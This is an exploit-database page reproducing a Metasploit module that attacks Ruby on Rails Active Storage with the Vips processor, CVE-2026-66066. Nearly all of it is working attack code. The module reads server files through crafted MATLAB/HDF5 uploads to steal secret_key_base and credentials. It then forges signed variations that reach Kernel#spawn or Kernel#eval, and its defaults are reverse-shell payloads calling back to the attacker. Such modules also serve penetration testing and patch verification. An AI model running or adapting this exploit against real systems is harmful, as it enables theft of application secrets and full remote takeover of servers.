Sploitus

Exploit for ...[ More ]

packetstorm Β· 2026-08-25

Exploit Code

ruby208 lines
## https://sploitus.com/exploit?id=PACKETSTORM:229555
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HTTP::RailsActiveStorageVips
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution',
            'Description' => %q{
              This module exploits CVE-2026-66066 in Ruby on Rails Active Storage when
              the application uses the Vips variant processor and accepts untrusted image
              uploads. A crafted MATLAB v7.3/HDF5 image uses external storage to read text
              files accessible to the Rails worker through a PNG representation response.
    
              The module recovers secret_key_base from the process environment, Rails local
              secrets, encrypted credentials, or the legacy secrets.yml(.enc) files. It then
              forges a serializer-compatible variation whose ImageProcessing apply step reaches
              Kernel#spawn with a command payload, or Kernel#eval with a native Ruby payload when
              the Ruby target is selected. Neither path requires a Marshal object gadget. The
              Ruby target's initial code execution does not require a Unix shell or a fetch
              utility on the target.
    
              The file-read stage needs a genuine signed Active Storage variation key. It can use
              VARIATION_KEY directly, reuse a representation URL from the application, or create
              one through an application upload form. Supplying SECRET_KEY_BASE skips the
              arbitrary file-read stage and lets the module construct the standard
              representation route itself.
    
              The file-read stage affects Rails 6.0 and 6.1, Rails 7.0 through 7.2.3.1,
              Rails 8.0.0 through 8.0.5, and Rails 8.1.0 through 8.1.3. It is fixed in
              Rails 7.2.3.2, 8.0.5.1, and 8.1.3.1. The RCE stage combines an incomplete
              Vips-side fix for CVE-2025-24293 with ImageProcessing 1.x method dispatch;
              ImageProcessing 2.x blocks this chain.
            },
            'Author' => [
              '0xacb', # Vulnerability discovery and research
              's3np41k1r1t0', # Vulnerability discovery and research
              'castilho', # Vulnerability discovery and research
              'RyotaK', # Independent vulnerability discovery
              'Crypto-Cat' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-66066'],
              ['GHSA', 'xr9x-r78c-5hrm'],
              ['CVE', '2025-24293'],
              ['GHSA', 'r4mg-4433-c7g3'],
              ['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-how-a-matlab-file-reads-your-secrets-and-pops-a-shell-on-ruby-on-rails'],
              ['URL', 'https://blog.flatt.tech/entry/kindarails2shell_rails'],
              ['URL', 'https://www.rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066/'],
              ['URL', 'https://github.com/rails/rails/pull/56995'],
              ['URL', 'https://discuss.rubyonrails.org/t/cve-2026-66066-attack-details-and-tools-to-perform-a-forensic-investigation/91441'],
              ['URL', 'https://github.com/rails/rails-forensics-CVE-2026-66066']
            ],
            'DisclosureDate' => '2026-07-29',
            'Privileged' => false,
            'Targets' => [
              [
                'Linux/Unix Command',
                {
                  'Platform' => [ 'unix', 'linux' ],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    # Auto-selection chooses an FTP adapter, but the framework does not
                    # support its default FETCH_COMMAND (CURL) for FTP URLs.
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', # rubocop:disable Lint/ModuleDefaultPayload
                    'FETCH_WRITABLE_DIR' => '/tmp',
                    'FETCH_DELETE' => true
                  }
                }
              ],
              [
                'Ruby',
                {
                  'Platform' => 'ruby',
                  'Arch' => ARCH_RUBY,
                  'Type' => :ruby,
                  'DefaultOptions' => {
                    # Auto-selection chooses generic/shell_reverse_tcp, which does not
                    # provide Ruby code for this eval target.
                    'PAYLOAD' => 'ruby/shell_reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Payload' => {
              'BadChars' => "\x00"
            },
            'Notes' => {
              'Stability' => [SERVICE_RESOURCE_LOSS],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path to the Rails application', '/']),
            OptString.new('LANDINGURI', [true, 'Path to a page used for CSRF-token and representation discovery', '/']),
            OptString.new('SUBMITURI', [true, 'Path that accepts the attachment form submit', '/posts']),
            OptString.new('DIRECTUPLOADURI', [true, 'Active Storage direct-upload endpoint', '/rails/active_storage/direct_uploads']),
            OptString.new('ATTACHMENT_FIELD', [true, 'Form field used for the signed blob ID', 'post[image]']),
            OptInt.new('REPRESENTATION_INDEX', [true, 'Zero-based representation image index', 0]),
            OptString.new('REPRESENTATIONURI', [false, 'Existing Active Storage representation URL or path', nil]),
            OptString.new('VARIATION_KEY', [false, 'Known signed Active Storage variation key', nil]),
            OptString.new('SECRET_KEY_BASE', [false, 'Known Rails secret_key_base; skips the arbitrary file-read stage', nil]),
            OptString.new('CSRF_TOKEN', [false, 'Known CSRF token; otherwise extracted from LANDINGURI', nil]),
            OptString.new('COOKIE', [false, 'Cookie header for an authenticated upload workflow', nil]),
            OptEnum.new('KEY_GENERATOR_DIGEST', [true, 'Rails key generator digest', 'auto', %w[auto sha256 sha1 sha384 sha512]]),
            OptEnum.new('VERIFIER_DIGEST', [true, 'Active Support message verifier HMAC digest', 'auto', %w[auto sha1 sha256 sha384 sha512]]),
            OptEnum.new('MESSAGE_SERIALIZER', [true, 'Compatible Active Support message serialization format', 'auto', %w[auto json marshal]])
          ]
        )
    
        register_advanced_options(
          [
            OptInt.new('EnvironmentMaxBytes', [true, 'Maximum bytes to read from each procfs environment file', 65_536]),
            OptInt.new('CredentialsMaxBytes', [true, 'Maximum bytes to read from each Rails credentials or secrets file', 262_144]),
            OptInt.new('MaxReadRequests', [true, 'Maximum crafted file-read requests per check or exploit phase', 4096]),
            OptString.new('ExternalStorageOrigins', [false, 'Comma-separated trusted HTTP(S) origins for external storage requests', nil])
          ]
        )
      end
    
      def check
        reset_read_budget!
        validate_options!
        if datastore['SECRET_KEY_BASE'].present?
          secret_key_base = datastore['SECRET_KEY_BASE']
          @known_secret_context = context_from_known_secret(secret_key_base)
          verify_known_secret_context(@known_secret_context)
          @active_storage_service = report_active_storage_service
          return CheckCode::Detected('Validated SECRET_KEY_BASE and a signed Active Storage representation; the arbitrary file read was not tested')
        end
    
        @read_context = detect_read_context
        @active_storage_service = report_active_storage_service
        vuln = {
          service: @active_storage_service,
          info: 'Confirmed arbitrary file read through an Active Storage representation'
        }.compact
        CheckCode::Vulnerable(
          "Recovered /proc/version with the #{@read_context[:layout][:dimension]}x#{@read_context[:layout][:dimension]} #{@read_context[:mode]} layout",
          vuln: vuln
        )
      rescue ConfigError, DataError, FlowError, TriggerError, UnreachableError => e
        CheckCode::Unknown(e.message)
      end
    
      def exploit
        reset_read_budget!
        validate_options!
        context = if datastore['SECRET_KEY_BASE'].present?
                    secret_key_base = datastore['SECRET_KEY_BASE']
                    if @known_secret_context&.dig(:secret_key_base) == secret_key_base
                      @known_secret_context
                    else
                      context_from_known_secret(secret_key_base).tap do |known_secret_context|
                        verify_known_secret_context(known_secret_context)
                      end
                    end
                  else
                    read_context = @read_context ||= detect_read_context
                    @active_storage_service = report_active_storage_service
                    unless @vulnerability_reported
                      report_vuln(
                        host: rhost,
                        port: rport,
                        proto: 'tcp',
                        service: @active_storage_service,
                        name: fullname,
                        info: 'Confirmed arbitrary file read through an Active Storage representation',
                        refs: references
                      )
                    end
                    context_from_recovered_secret(read_context)
                  end
    
        @active_storage_service = report_active_storage_service
    
        transformations = variation_transformations
        operation = transformations['send'].first
        print_status("Triggering the ImageProcessing send/#{operation} variation using #{context[:verifier_source]}")
        path = forged_representation_path(context, transformations)
        trigger_variation(path)
      rescue ConfigError, DataError => e
        fail_with(Failure::BadConfig, e.message)
      rescue UnreachableError => e
        fail_with(Failure::Unreachable, e.message)
      rescue FlowError, TriggerError => e
        fail_with(Failure::UnexpectedReply, e.message)
      end
    
    end